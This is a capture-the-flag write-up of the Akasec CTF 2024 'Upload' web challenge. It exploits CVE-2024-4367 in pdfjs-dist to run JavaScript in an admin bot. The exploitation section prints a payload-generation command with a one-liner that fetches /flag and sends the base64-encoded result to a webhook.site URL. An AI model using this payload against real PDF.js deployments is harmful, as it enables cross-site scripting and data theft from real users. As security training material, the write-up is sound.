Akasec CTF 2024

Metadata		
Team	World Wide Flags	
Discord Id	web_archer	
Category	Web	
Challenge	Upload	
Challenge Url	http://172.206.89.197:9000/	
	http://172.206.89.197:9000/report	
Challenge File	https://github.com/04Shivam/Akasecctf/blob/main/upload.zip	

```
Fetch flag from
/flag endpoint.


Bypass localhost check.

Description


Description

Index in app.get('/flag', (req, res) => {
    let ip = req.connection.remoteAddress;
    if (ip === '127.0.0.1') {
        res.json({ flag: 'AKASEC{FAKE_FLAG}' });
    } else {
        res.status(403).json({ error: 'Access denied' });
    }
});
```

Note: From this point forward, I will explain how I approached the solution. For more detailed information about the exploits, please refer to the references provided.



Web App Functionalities		
Endpoint	Screenshot	
/signup	Sign Up	
	Username:	
	Password:	
	Sign Up	
	Already have an account? Log In	
/login	Log In	
	Username:	
	Decouverd	
	Password:	
	Log In	
	Don't have an account? Sign Up	
/upload (Requires login)	Upload File	
	Choose File: Choose file No file chosen	
	Upload	
	Logout	



Note: I won't be explaining all parts of the code, just the important ones necessary for exploitation.

Code Analysis			
Explanation	Code	Filename	
Web app renders pdf using package pdfjs-dist 2.5.207	<pre>"dependencies": { "bcrypt": "^5.1.1", "connect-flash": "^0.1.1", "ejs": "^3.1.10", "express": "^4.19.2", "express-rate-limit": "^7.3.0", "express-session": "^1.18.0", "multer": "^1.4.5-lts.1", "nedb": "^1.8.0", "path": "^0.12.7", "pdfjs-dist": "^2.5.207", "puppeteer": "^22.10.0" }</pre>	package.json	
Uses pdf.js from pdfjs-dist package	<pre>app.use('/uploads', express.static(path.join (dirname, 'uploads'))); app.use('/pdf.js', express.static(path.join(dirname, 'node_modules/pdfjs-dist/build/pdf.js'))); app.use('/pdf.worker.js', express.static(path.join (dirname, 'node_modules/pdfjs-dist/build/pdf.worker.js')));</pre>	app.js	
/report endpoint accepts a URL in a POST request. It checks whether the URL exists in the body and matches the specified regex. If both conditions are met, the URL is passed to the bot function in the bot.js file.	<pre>app.post("/report", limit, async (req, res) => { const { url } = req.body; if (!url) { return res.status(400).send({ error: "Url is missing." }); } if (!RegExp(bot.urlRegex).test(url)) { return res.status(422).send({ error: "URL din't match this regex format " + bot.urlRegex }) } if (await bot.bot(url)) { return res.send({ success: "Admin successfully visited the URL." }); } else { return res.status(500).send({ error: "Admin failed to visit the URL." }); } });</pre>	app.js	
First image defines the configuration for bot. Second image defines the regex used in app.js to check URLs. This regex returns true only if the URL starts with http://127.0.0.1:5000/	<pre>const CONFIG = { APPNAME: process.env['APPNAME'] "Admin", APPURL: process.env['APPURL'] "http://127.0.0.1:5000", APPHOST: process.env['APPHOST'] "127.0.0.1", APPLIMITIME: Number(process.env['APPLIMITIME'] "60"), APPLIMIT: Number(process.env['APPLIMIT'] "5"), }</pre>	bot.js	

```
module.exports = {
                                             name: CONFIG.APPNAME,
                                             urlRegex: `^${CONFIG.APPURL}/.*$`,
                                             rateLimit: {
                                                    windowS: CONFIG.APPLIMITTIME,
                                                    max: CONFIG.APPLIMIT
                                            : async (urlToVisit) => {
  const browser = await initBrowser;
  const context = await browser.createBrowserContext()
Bot
            visits
                                                                                                                     bot.js
                            the
provided URL.
                                                 const page = await context.newPage();
// Visit URL from user
console.log(`bot visiting ${urlToVisit}`)
                                                 await page.goto(urlToVisit, {
    waitUntil: 'networkidle2'
                                                 });
await sleep(8000);
                                                 cookies = await page.cookies()
console.log(cookies);
                                                 console.log("browser close...")
                                                await context.close()
return true;
match (e) {
                                                 console.error(e);
                                                 await context.close();
return false;
```

Research & Tests For Exploitation

Googled "pdfjs-dist xss"



Cross-site Scripting (XSS) in pdfjs-dist | CVE-2018-5158

26 Sept 2019 — Overview. pdfjs-dist is a Portable Document Format (PDF) library that is built with HTML5. Affected versions of this package are vulnerable ...



Snyk

https://security.snyk.io > ... > npm > pdfjs-dist

pdfjs-dist 1.9.589 vulnerabilities

pdfjs-dist is a Portable Document Format (PDF) library that is built with HTML5. Affected versions of this package are vulnerable to Cross-site Scripting (XSS).



Codean Labs

https://codeanlabs.com > Blog > Research

CVE-2024-4367 - Arbitrary JavaScript execution in PDF.js

20 May 2024 — A vulnerability in PDF.js found by Codean Labs. PDF.js is a JavaScript-based PDF viewer maintained by Mozilla. This bug allows an attacker ...

The first result from Snyk is not useful because the version does not match the one used by the web app.



Snyk Vulnerability Database > npm > pdfjs-dist

Cross-site Scripting (XSS)

Affecting pdfjs-dist package, versions <2.0.943


The third result is the CVE by Codean Labs. We can use this because PDF.js v4.2.67 is patched, and the web app lower uses а version, making it exploitable.

Timeline

- 2024-04-26 vulnerability disclosed to Mozilla
- 2024-04-29 PDF.js v4.2.67 released to NPM, fixing the issue
- 2024-05-14 Firefox 126, Firefox ESR 115.11 and Thunderbird 115.11 released including the fixed version of PDF.js
- 2024-05-20 publication of this blogpost
- 2024-05-22 added detailed version information and updated PoC, courtesy of Rob Wu

Codean Labs also provided a POC pdf file.

Rob also updated the proof-of-concept PDF to work on all affected versions, including v1.4.20 and below. Make sure to use this latest version to test whether your instance of PDF.js is impacted (keeping into account other mitigations). The original plain-text but less general PoC can be found here.



Plan of Attack

How does XSS assist in achieving the objective?

The /flag endpoint only accepts requests from localhost (127.0.0.1); all others are rejected. Since the bot visits the PDF files from localhost, we can inject JavaScript to fetch /flag and send it to us.

Payload

Replace <webhook-url> with actual url and remove the indentation to make payload oneliner

Payload Explanation

fetch('/flag'), send a request to '/flag' endpoint of the current domain. Once the response is received, it parses the response body as JSON. Then, it chains another promise to handle the parsed JSON data. Inside this nested promise, it constructs a URL with a <webhook-url> endpoint and appends a query parameter 'c' with the value obtained by converting the JSON data into a Base64 encoded string using btoa().


Exploitation

Payload Generation

(shivam® kali)-[~/akasec/web/upload]
\$ python3 CVE-2024-4367.py "fetch('/flag').then(response => response.json().
then(data => fetch('https://webhook.site/b2af0717-f585-4743-bd9a-3ac6e51859fb/?c=' + btoa(JSON.stringify(data)))))"
[+] Created malicious PDF file: poc.pdf
[+] Open the file with the vulnerable application to trigger the exploit.

Payload Upload


The PDF viewer page is blank but we can see the base64 encoded value attached on webhook.



Payload Execution


Copy the highlighted part on url after uploading the pdf. Prepare a URL like the second image and click on the visit note.

http://172.206.89.197:9000/view/file-1718103715199.pdf



Capturing the Flag

The first image shows the request from the webhook containing Base64-encoded data. The second image shows the decoded Base64-encoded text to obtain the flag.



—(shivam® kali)-[~/akasec/web/upload] \$ echo eyJmbGFnIjoiQUtBU0VDe1BERl8xc180dzNzMG0zX1cxdGhfWFNTXyYmX0ZyMzNfUDRsZ

TVUMW4zX3IwdDR0MzMzZF9sb29vb29sfSJ9 | base64 -d {"flag":"AKASEC{PDF_1s_4w3s0m3_W1th_XSS_&&_Fr33_P4le5T1n3_r0t4t333d_loooool}"}

References & Tools		
CVE-2024-4367	https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js/	
Github POC Generator	https://github.com/LOURC0D3/CVE-2024-4367-PoC	
Webhook Site	https://webhook.site/	